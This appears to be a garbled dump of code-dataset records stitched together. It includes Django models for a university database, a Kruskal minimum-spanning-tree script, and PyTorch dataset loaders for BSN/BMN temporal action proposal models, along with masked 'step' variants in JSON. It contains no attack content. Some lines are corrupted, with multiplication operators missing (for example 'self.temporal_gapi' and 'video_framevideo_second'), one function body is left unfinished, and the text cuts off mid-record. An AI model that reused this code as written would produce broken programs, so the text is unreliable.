'Cad.Faculdade'\n\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade',\n on_delete=models.CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-5": "from django.db import models\n\nclass faculdades(models.Model):\n codigo = models.IntegerField(primary_key = True)\n nome = models.CharField(max_length=50)\n cidade = models.CharField(max_length=30)\n estado = models.CharField(max_length=20)\n pais = models.CharField(max_length=20)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key = True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key = True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key = True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key = True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models.CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n \n def __str__(self):\n return '%s' % (self.codigo)\n \n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'", "step-ids": [ 11, 13, 14, 16, 17 ] }	[ 11, 13, 14, 16, 17 ]
import sys V, E = map(int, sys.stdin.readline().split()) node = [] graphs = [] for i in range(V+1): node.append(i) for _ in range(E): graphs.append((list(map(int, sys.stdin.readline().split())))) graph = sorted(graphs, key=lambda x: x[2]) def get_parent(parent, x): if parent[x] == x: return x parent[x] = get_parent(parent, parent[x]) return parent[x] def union_parent(parent, a, b): a = get_parent(parent, a) b = get_parent(parent, b) if a != b: parent[b] = a N = 0 distance = 0 idx = 0 while N < V-1: A, B, dist = graph[idx] if get_parent(node, A) == get_parent(node, B): idx += 1 continue union_parent(node, A, B) distance += dist N += 1 idx += 1 print(distance)	normal	{ "blob_id": "2e794e281c6f34858cd32725cdc454eb18c28892", "index": 3415, "step-1": "<mask token>\n\n\ndef get_parent(parent, x):\n if parent[x] == x:\n return x\n parent[x] = get_parent(parent, parent[x])\n return parent[x]\n\n\ndef union_parent(parent, a, b):\n a = get_parent(parent, a)\n b = get_parent(parent, b)\n if a != b:\n parent[b] = a\n\n\n<mask token>\n", "step-2": "<mask token>\nfor i in range(V + 1):\n node.append(i)\nfor _ in range(E):\n graphs.append(list(map(int, sys.stdin.readline().split())))\n<mask token>\n\n\ndef get_parent(parent, x):\n if parent[x] == x:\n return x\n parent[x] = get_parent(parent, parent[x])\n return parent[x]\n\n\ndef union_parent(parent, a, b):\n a = get_parent(parent, a)\n b = get_parent(parent, b)\n if a != b:\n parent[b] = a\n\n\n<mask token>\nwhile N < V - 1:\n A, B, dist = graph[idx]\n if get_parent(node, A) == get_parent(node, B):\n idx += 1\n continue\n union_parent(node, A, B)\n distance += dist\n N += 1\n idx += 1\nprint(distance)\n", "step-3": "<mask token>\nV, E = map(int, sys.stdin.readline().split())\nnode = []\ngraphs = []\nfor i in range(V + 1):\n node.append(i)\nfor _ in range(E):\n graphs.append(list(map(int, sys.stdin.readline().split())))\ngraph = sorted(graphs, key=lambda x: x[2])\n\n\ndef get_parent(parent, x):\n if parent[x] == x:\n return x\n parent[x] = get_parent(parent, parent[x])\n return parent[x]\n\n\ndef union_parent(parent, a, b):\n a = get_parent(parent, a)\n b = get_parent(parent, b)\n if a != b:\n parent[b] = a\n\n\nN = 0\ndistance = 0\nidx = 0\nwhile N < V - 1:\n A, B, dist = graph[idx]\n if get_parent(node, A) == get_parent(node, B):\n idx += 1\n continue\n union_parent(node, A, B)\n distance += dist\n N += 1\n idx += 1\nprint(distance)\n", "step-4": "import sys\nV, E = map(int, sys.stdin.readline().split())\nnode = []\ngraphs = []\nfor i in range(V + 1):\n node.append(i)\nfor _ in range(E):\n graphs.append(list(map(int, sys.stdin.readline().split())))\ngraph = sorted(graphs, key=lambda x: x[2])\n\n\ndef get_parent(parent, x):\n if parent[x] == x:\n return x\n parent[x] = get_parent(parent, parent[x])\n return parent[x]\n\n\ndef union_parent(parent, a, b):\n a = get_parent(parent, a)\n b = get_parent(parent, b)\n if a != b:\n parent[b] = a\n\n\nN = 0\ndistance = 0\nidx = 0\nwhile N < V - 1:\n A, B, dist = graph[idx]\n if get_parent(node, A) == get_parent(node, B):\n idx += 1\n continue\n union_parent(node, A, B)\n distance += dist\n N += 1\n idx += 1\nprint(distance)\n", "step-5": "import sys\n\nV, E = map(int, sys.stdin.readline().split())\n\nnode = []\ngraphs = []\nfor i in range(V+1):\n node.append(i)\n\nfor _ in range(E):\n graphs.append((list(map(int, sys.stdin.readline().split()))))\n\ngraph = sorted(graphs, key=lambda x: x[2])\n\n\ndef get_parent(parent, x):\n if parent[x] == x:\n return x\n parent[x] = get_parent(parent, parent[x])\n return parent[x]\n\n\ndef union_parent(parent, a, b):\n a = get_parent(parent, a)\n b = get_parent(parent, b)\n if a != b:\n parent[b] = a\n\n\nN = 0\ndistance = 0\nidx = 0\nwhile N < V-1:\n A, B, dist = graph[idx]\n if get_parent(node, A) == get_parent(node, B):\n idx += 1\n continue\n\n union_parent(node, A, B)\n distance += dist\n N += 1\n idx += 1\n\nprint(distance)\n", "step-ids": [ 2, 3, 4, 5, 6 ] }	[ 2, 3, 4, 5, 6 ]
# -- coding: utf-8 -- import numpy as np import pandas as pd import pandas import numpy import json import torch.utils.data as data import os import torch def load_json(file): with open(file) as json_file: data = json.load(json_file) return data class VideoDataSet(data.Dataset): def __init__(self,opt,subset="train"): self.temporal_scale = opt["temporal_scale"] # 时域长度归一化到100 self.temporal_gap = 1. / self.temporal_scale # 每个snippt时间占比 self.subset = subset # training validation or test self.mode = opt["mode"] # 'train' or 'test' self.feature_path = opt["feature_path"] # '特征存放位置' self.boundary_ratio = opt["boundary_ratio"] # 0.1 人为扩充boundary的区域长度占总长度的比率 self.video_info_path = opt["video_info"] # 存在视频信息的csv self.video_anno_path = opt["video_anno"] # 存放标记信息的csv self._getDatasetDict() self.check_csv() def check_csv(self): # 因为某些视频的特征可能不存在，或者遭到了损坏 for video in self.video_list: if not os.path.exists(self.feature_path + "csv_mean_" + str(self.temporal_scale) + "/" + video + ".csv"): print("video :{} feature csv is not existed".format(video)) self.video_list.remove(video) del self.video_dict[video] # 删除已知的错误样本 del_videl_list = ['v_5HW6mjZZvtY'] for v in del_videl_list: if v in self.video_dict: print("del " + v +' video') self.video_list.remove(v) del self.video_dict[v] print ("After check: csv \n %s subset video numbers: %d" %(self.subset,len(self.video_list))) def _getDatasetDict(self): anno_df = pd.read_csv(self.video_info_path) anno_database= load_json(self.video_anno_path) self.video_dict = {} # 存放一系列内容，包括gt for i in range(len(anno_df)): video_name=anno_df.video.values[i] video_info=anno_database[video_name] video_subset=anno_df.subset.values[i] # 读取该视频属于的子数据集 training validation or test if self.subset == "full": #全部都要 self.video_dict[video_name] = video_info if self.subset in video_subset: self.video_dict[video_name] = video_info # 是需要的数据集样本添加到字典中 self.video_list = list(self.video_dict.keys()) # 含有哪些video print ("Before check: csv \n %s subset video numbers: %d" %(self.subset,len(self.video_list))) def __getitem__(self, index): video_data,anchor_xmin,anchor_xmax = self._get_base_data(index) if self.mode == "train": match_score_action,match_score_start,match_score_end = self._get_train_label(index,anchor_xmin,anchor_xmax) return video_data,match_score_action,match_score_start,match_score_end else: return index,video_data,anchor_xmin,anchor_xmax def _get_base_data(self,index): video_name=self.video_list[index] anchor_xmin=[self.temporal_gapi for i in range(self.temporal_scale)] # 0.00 d到 0.99 anchor_xmax=[self.temporal_gapi for i in range(1,self.temporal_scale+1)] # 0.01到1.00 try: video_df=pd.read_csv(self.feature_path+ "csv_mean_"+str(self.temporal_scale)+"/"+video_name+".csv") # 得到这个视频的特征 except: print('Error in '+video_name+".csv") video_data = video_df.values[:,:] video_data = torch.Tensor(video_data) # 这个video的特征[100, 400] video_data = torch.transpose(video_data,0,1) #[400， 100] 便于时域的一维卷积操作 video_data.float() return video_data,anchor_xmin,anchor_xmax def _get_train_label(self,index,anchor_xmin,anchor_xmax): # 相当于要生成3个概率序列的真值 video_name=self.video_list[index] video_info=self.video_dict[video_name] # 包括duration_second duration_frame annotations and feature_frame 但是这个特征长度已经被归一化了 video_frame=video_info['duration_frame'] video_second=video_info['duration_second'] feature_frame=video_info['feature_frame'] corrected_second=float(feature_frame)/video_framevideo_second #相当于校准时间因为采用的滑动窗口形式进行提取特征，两个frame会存在一些差异 video_labels=video_info['annotations'] gt_bbox = [] for j in range(len(video_labels)): #将时间归一化 0到1之间 tmp_info=video_labels[j] tmp_start=max(min(1,tmp_info['segment'][0]/corrected_second),0) tmp_end=max(min(1,tmp_info['segment'][1]/corrected_second),0) gt_bbox.append([tmp_start,tmp_end]) gt_bbox=np.array(gt_bbox) gt_xmins=gt_bbox[:,0] gt_xmaxs=gt_bbox[:,1] gt_lens=gt_xmaxs-gt_xmins gt_len_small=np.maximum(self.temporal_gap,self.boundary_ratiogt_lens) # starting region 和 ending region的长度 gt_start_bboxs=np.stack((gt_xmins-gt_len_small/2,gt_xmins+gt_len_small/2),axis=1) # starting region gt_end_bboxs=np.stack((gt_xmaxs-gt_len_small/2,gt_xmaxs+gt_len_small/2),axis=1) # ending region # anchors = np.stack((anchor_xmin, anchor_xmax), 1) # 代表每一个snippet的范围 match_score_action=[] # 给每一个位置计算TEM的三个概率值，但是from 0 to 99 效率不高吧这种方法生成会有大量的无效操作，特别是gt较少的时候，可以后期优化 for jdx in range(len(anchor_xmin)): match_score_action.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_xmins,gt_xmaxs))) match_score_start=[] for jdx in range(len(anchor_xmin)): match_score_start.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_start_bboxs[:,0],gt_start_bboxs[:,1]))) match_score_end=[] for jdx in range(len(anchor_xmin)): match_score_end.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_end_bboxs[:,0],gt_end_bboxs[:,1]))) match_score_action = torch.Tensor(match_score_action) match_score_start = torch.Tensor(match_score_start) match_score_end = torch.Tensor(match_score_end) return match_score_action,match_score_start,match_score_end #3个长度为100的概率序列 def _ioa_with_anchors(self,anchors_min,anchors_max,box_min,box_max): len_anchors=anchors_max-anchors_min int_xmin = np.maximum(anchors_min, box_min) int_xmax = np.minimum(anchors_max, box_max) inter_len = np.maximum(int_xmax - int_xmin, 0.) scores = np.divide(inter_len, len_anchors) return scores def _ioa(self, anchors, gts): len_anchors = anchors[:,1] - anchors[:,0] int_min = np.maximum(anchors[:,0],gts[:,0]) int_max = np.minimum(anchors[:,1],gts[:,1]) np.maximum(np.expand_dims(np.arange(1, 5), 1), np.arange(3)) def __len__(self): return len(self.video_list) class ProposalDataSet(data.Dataset): def __init__(self,opt,subset="train"): self.subset=subset self.mode = opt["mode"] if self.mode == "train": # 测试与前推时的样本数量是不一样的 self.top_K = opt["pem_top_K"] else: self.top_K = opt["pem_top_K_inference"] self.video_info_path = opt["video_info"] self.video_anno_path = opt["video_anno"] self.feature_path = opt["feature_path"] # '特征存放位置' self.temporal_scale = opt["temporal_scale"] # 时域长度归一化到100 self._getDatasetDict() self.check_csv() def check_csv(self): # 因为某些视频的特征可能不存在，或者遭到了损坏 for video in self.video_list: if not os.path.exists(self.feature_path + "csv_mean_" + str(self.temporal_scale) + "/" + video + ".csv"): print("video :{} feature csv is not existed".format(video)) self.video_list.remove(video) del self.video_dict[video] # 删除已知的错误样本 del_videl_list = ['v_5HW6mjZZvtY'] for v in del_videl_list: if v in self.video_dict: print("del " + v +' video') self.video_list.remove(v) del self.video_dict[v] print ("After check: csv \n %s subset video numbers: %d" %(self.subset,len(self.video_list))) def _getDatasetDict(self): anno_df = pd.read_csv(self.video_info_path) #读取信息 anno_database= load_json(self.video_anno_path) # 读取相关真值信息 self.video_dict = {} for i in range(len(anno_df)): video_name=anno_df.video.values[i] video_info=anno_database[video_name] video_subset=anno_df.subset.values[i] if self.subset == "full": self.video_dict[video_name] = video_info if self.subset in video_subset: self.video_dict[video_name] = video_info self.video_list = list(self.video_dict.keys()) print ("%s subset video numbers: %d" %(self.subset,len(self.video_list))) def __len__(self): return len(self.video_list) def __getitem__(self, index): video_name = self.video_list[index] pdf=pandas.read_csv("./output/PGM_proposals/"+video_name+".csv") # 读取proposal pdf=pdf[:self.top_K] video_feature = numpy.load("./output/PGM_feature/" + video_name+".npy") # read BSP feature for proposals video_feature = video_feature[:self.top_K,:] #print len(video_feature),len(pdf) video_feature = torch.Tensor(video_feature) if self.mode == "train": video_match_iou = torch.Tensor(pdf.match_iou.values[:]) # choose IOU as gt 已经在TEM inference阶段计算好 return video_feature,video_match_iou # [bs, 32] [bs] else: # 取得proposals的 starting location， ending location, starting score, ending score video_xmin =pdf.xmin.values[:] video_xmax =pdf.xmax.values[:] video_xmin_score = pdf.xmin_score.values[:] video_xmax_score = pdf.xmax_score.values[:] return video_feature,video_xmin,video_xmax,video_xmin_score,video_xmax_score def load_json(file): with open(file) as json_file: json_data = json.load(json_file) return json_data class BMN_VideoDataSet(data.Dataset): def __init__(self, opt, subset="train"): self.temporal_scale = opt["temporal_scale"] # 100 self.temporal_gap = 1. / self.temporal_scale self.subset = subset self.mode = opt["mode"] self.feature_path = opt["feature_path"] self.video_info_path = opt["video_info"] self.video_anno_path = opt["video_anno"] self._getDatasetDict() self.check_csv() self._get_match_map() def check_csv(self): # 因为某些视频的特征可能不存在，或者遭到了损坏 for video in self.video_list: if not os.path.exists(self.feature_path + "csv_mean_" + str(self.temporal_scale) + "/" + video + ".csv"): print("video :{} feature csv is not existed".format(video)) self.video_list.remove(video) del self.video_dict[video] # 删除已知的错误样本 del_videl_list = ['v_5HW6mjZZvtY'] for v in del_videl_list: if v in self.video_dict: print("del " + v +' video') self.video_list.remove(v) del self.video_dict[v] print ("After check: csv \n %s subset video numbers: %d" %(self.subset,len(self.video_list))) def _getDatasetDict(self): anno_df = pd.read_csv(self.video_info_path) anno_database = load_json(self.video_anno_path) self.video_dict = {} for i in range(len(anno_df)): video_name = anno_df.video.values[i] video_info = anno_database[video_name] video_subset = anno_df.subset.values[i] if self.subset in video_subset: self.video_dict[video_name] = video_info self.video_list = list(self.video_dict.keys()) print("%s subset video numbers: %d" % (self.subset, len(self.video_list))) def __getitem__(self, index): video_data = self._load_file(index) # video feature [400, 100] if self.mode == "train": # [D, T] [100, 100] [T=100] [T=100] match_score_start, match_score_end, confidence_score = self._get_train_label(index, self.anchor_xmin, self.anchor_xmax) return video_data,confidence_score, match_score_start, match_score_end else: return index, video_data def _get_match_map(self): match_map = [] for idx in range(self.temporal_scale): tmp_match_window = [] xmin = self.temporal_gap * idx # start locaiton 归一化之后的 for jdx in range(1, self.temporal_scale + 1): xmax = xmin + self.temporal_gap * jdx # ending location 加上duration tmp_match_window.append([xmin, xmax]) match_map.append(tmp_match_window) match_map = np.array(match_map) # 100x100x2 最后一个2代表BM map上面每一个代表的candidate proposals所代表的时域范围 [start, duration, 2] match_map = np.transpose(match_map, [1, 0, 2]) # [0.00,0.01] [0.01,0.02] [0.02,0.03].....[0.99,0.100] [duration, start, 2] match_map = np.reshape(match_map, [-1, 2]) # [0,2] [1,3] [2,4].....[99,101] # duration x start [100100, 2] self.match_map = match_map # duration is same in row, start is same in col self.anchor_xmin = [self.temporal_gap (i-0.5) for i in range(self.temporal_scale)] # 每一个 snippet 的开始时间 self.anchor_xmax = [self.temporal_gap * (i+0.5) for i in range(1, self.temporal_scale + 1)] # 每一个 snippet的结束时刻 # 注意从产生特征的角度来看，上面的anchor min 和anchor max 应该和BSN一样，不减去0.5， # 比如第一个特征的就是由0-16帧图片产生，最后一个特征就是-16到-1的图片产生，应该不用减去那个0.5 # 之后可以通过实验验证一下是否影响精度相反，我觉得上面的match map应该加上0,5 因为每个snippet的中央区域在中间但是因为是离线处理，所以不应该纠结那么多 def _load_file(self, index): video_name = self.video_list[index] video_df = pd.read_csv(self.feature_path + "csv_mean_" + str(self.temporal_scale) + "/" + video_name + ".csv") video_data = video_df.values[:, :] video_data = torch.Tensor(video_data) video_data = torch.transpose(video_data, 0, 1) video_data.float() return video_data def _get_train_label(self, index, anchor_xmin, anchor_xmax): video_name = self.video_list[index] video_info = self.video_dict[video_name] video_frame = video_info['duration_frame'] video_second = video_info['duration_second'] feature_frame = video_info['feature_frame'] corrected_second = float(feature_frame) / video_frame * video_second # there are some frames not used video_labels = video_info['annotations'] # the measurement is second, not frame ############################################################################################## # change the measurement from second to percentage gt_bbox = [] gt_iou_map = [] for j in range(len(video_labels)): #对于每个Proposal tmp_info = video_labels[j] tmp_start = max(min(1, tmp_info['segment'][0] / corrected_second), 0) # 归一化时间 tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0) gt_bbox.append([tmp_start, tmp_end]) tmp_gt_iou_map = iou_with_anchors( # 每一个候选的proposals计算IOU self.match_map[:, 0], self.match_map[:, 1], tmp_start, tmp_end) tmp_gt_iou_map = np.reshape(tmp_gt_iou_map, [self.temporal_scale, self.temporal_scale]) # [100, 100] 相当于BM map的label gt_iou_map.append(tmp_gt_iou_map) gt_iou_map = np.array(gt_iou_map) # [num_gt, 100, 100] gt_iou_map = np.max(gt_iou_map, axis=0) # 取最大的IOU作为gt [100, 100] gt_iou_map = torch.Tensor(gt_iou_map) ############################################################################################## #################################################################################################### # generate R_s and R_e # 构建增强后的start region和ending region gt_bbox = np.array(gt_bbox) gt_xmins = gt_bbox[:, 0] gt_xmaxs = gt_bbox[:, 1] gt_lens = gt_xmaxs - gt_xmins gt_len_small = 3 * self.temporal_gap # np.maximum(self.temporal_gap, self.boundary_ratio * gt_lens) # 直接用绝对大小代表增强区域的大小 gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + gt_len_small / 2), axis=1) gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + gt_len_small / 2), axis=1) # 产生增强之后的两个区域 ##################################################################################################### ########################################################################################################## # calculate the ioa for all timestamp # 计算两个概率序列的真值 match_score_start = [] for jdx in range(len(anchor_xmin)): # 针对每一个anchor都计算与gt之间的ioa作为真值 match_score_start.append(np.max( ioa_with_anchors(anchor_xmin[jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0], gt_start_bboxs[:, 1]))) match_score_end = [] for jdx in range(len(anchor_xmin)): match_score_end.append(np.max( ioa_with_anchors(anchor_xmin[jdx], anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1]))) match_score_start = torch.Tensor(match_score_start) match_score_end = torch.Tensor(match_score_end) ############################################################################################################ return match_score_start, match_score_end, gt_iou_map # 三个真值 [100], [100], [100,100] def __len__(self): return len(self.video_list) def ioa_with_anchors(anchors_min, anchors_max, box_min, box_max): # calculate the overlap proportion between the anchor and all bbox for supervise signal, # the length of the anchor is 0.01 len_anchors = anchors_max - anchors_min int_xmin = np.maximum(anchors_min, box_min) int_xmax = np.minimum(anchors_max, box_max) inter_len = np.maximum(int_xmax - int_xmin, 0.) scores = np.divide(inter_len, len_anchors) return scores def iou_with_anchors(anchors_min, anchors_max, box_min, box_max): """Compute jaccard score between a box and the anchors. """ len_anchors = anchors_max - anchors_min int_xmin = np.maximum(anchors_min, box_min) int_xmax = np.minimum(anchors_max, box_max) inter_len = np.maximum(int_xmax - int_xmin, 0.) union_len = len_anchors - inter_len + box_max - box_min # print inter_len,union_len jaccard = np.divide(inter_len, union_len) return jaccard if __name__ == '__main__': import opts opt = opts.parse_opt() opt = vars(opt) # test dataset for BMN network train_loader = torch.utils.data.DataLoader(BMN_VideoDataSet(opt, subset="train"), batch_size=opt["bmn_batch_size"], shuffle=True, num_workers=8, pin_memory=True) for a,b,c,d in train_loader: print(a.shape,b.shape,c.shape,d.shape) break	normal	{ "blob_id": "e5b5a0c8c0cbe4862243548b3661057240e9d8fd", "index": 6077, "step-1": "<mask token>\n\n\nclass VideoDataSet(data.Dataset):\n <mask token>\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass ProposalDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.subset = subset\n self.mode = opt['mode']\n if self.mode == 'train':\n self.top_K = opt['pem_top_K']\n else:\n self.top_K = opt['pem_top_K_inference']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self.feature_path = opt['feature_path']\n self.temporal_scale = opt['temporal_scale']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __len__(self):\n return len(self.video_list)\n\n def __getitem__(self, index):\n video_name = self.video_list[index]\n pdf = pandas.read_csv('./output/PGM_proposals/' + video_name + '.csv')\n pdf = pdf[:self.top_K]\n video_feature = numpy.load('./output/PGM_feature/' + video_name +\n '.npy')\n video_feature = video_feature[:self.top_K, :]\n video_feature = torch.Tensor(video_feature)\n if self.mode == 'train':\n video_match_iou = torch.Tensor(pdf.match_iou.values[:])\n return video_feature, video_match_iou\n else:\n video_xmin = pdf.xmin.values[:]\n video_xmax = pdf.xmax.values[:]\n video_xmin_score = pdf.xmin_score.values[:]\n video_xmax_score = pdf.xmax_score.values[:]\n return (video_feature, video_xmin, video_xmax, video_xmin_score,\n video_xmax_score)\n\n\n<mask token>\n\n\nclass BMN_VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n self._get_match_map()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __getitem__(self, index):\n video_data = self._load_file(index)\n if self.mode == 'train':\n match_score_start, match_score_end, confidence_score = (self.\n _get_train_label(index, self.anchor_xmin, self.anchor_xmax))\n return (video_data, confidence_score, match_score_start,\n match_score_end)\n else:\n return index, video_data\n\n def _get_match_map(self):\n match_map = []\n for idx in range(self.temporal_scale):\n tmp_match_window = []\n xmin = self.temporal_gap * idx\n for jdx in range(1, self.temporal_scale + 1):\n xmax = xmin + self.temporal_gap * jdx\n tmp_match_window.append([xmin, xmax])\n match_map.append(tmp_match_window)\n match_map = np.array(match_map)\n match_map = np.transpose(match_map, [1, 0, 2])\n match_map = np.reshape(match_map, [-1, 2])\n self.match_map = match_map\n self.anchor_xmin = [(self.temporal_gap * (i - 0.5)) for i in range(\n self.temporal_scale)]\n self.anchor_xmax = [(self.temporal_gap * (i + 0.5)) for i in range(\n 1, self.temporal_scale + 1)]\n\n def _load_file(self, index):\n video_name = self.video_list[index]\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(self.\n temporal_scale) + '/' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n gt_iou_map = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n tmp_gt_iou_map = iou_with_anchors(self.match_map[:, 0], self.\n match_map[:, 1], tmp_start, tmp_end)\n tmp_gt_iou_map = np.reshape(tmp_gt_iou_map, [self.\n temporal_scale, self.temporal_scale])\n gt_iou_map.append(tmp_gt_iou_map)\n gt_iou_map = np.array(gt_iou_map)\n gt_iou_map = np.max(gt_iou_map, axis=0)\n gt_iou_map = torch.Tensor(gt_iou_map)\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = 3 * self.temporal_gap\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(ioa_with_anchors(anchor_xmin[\n jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n 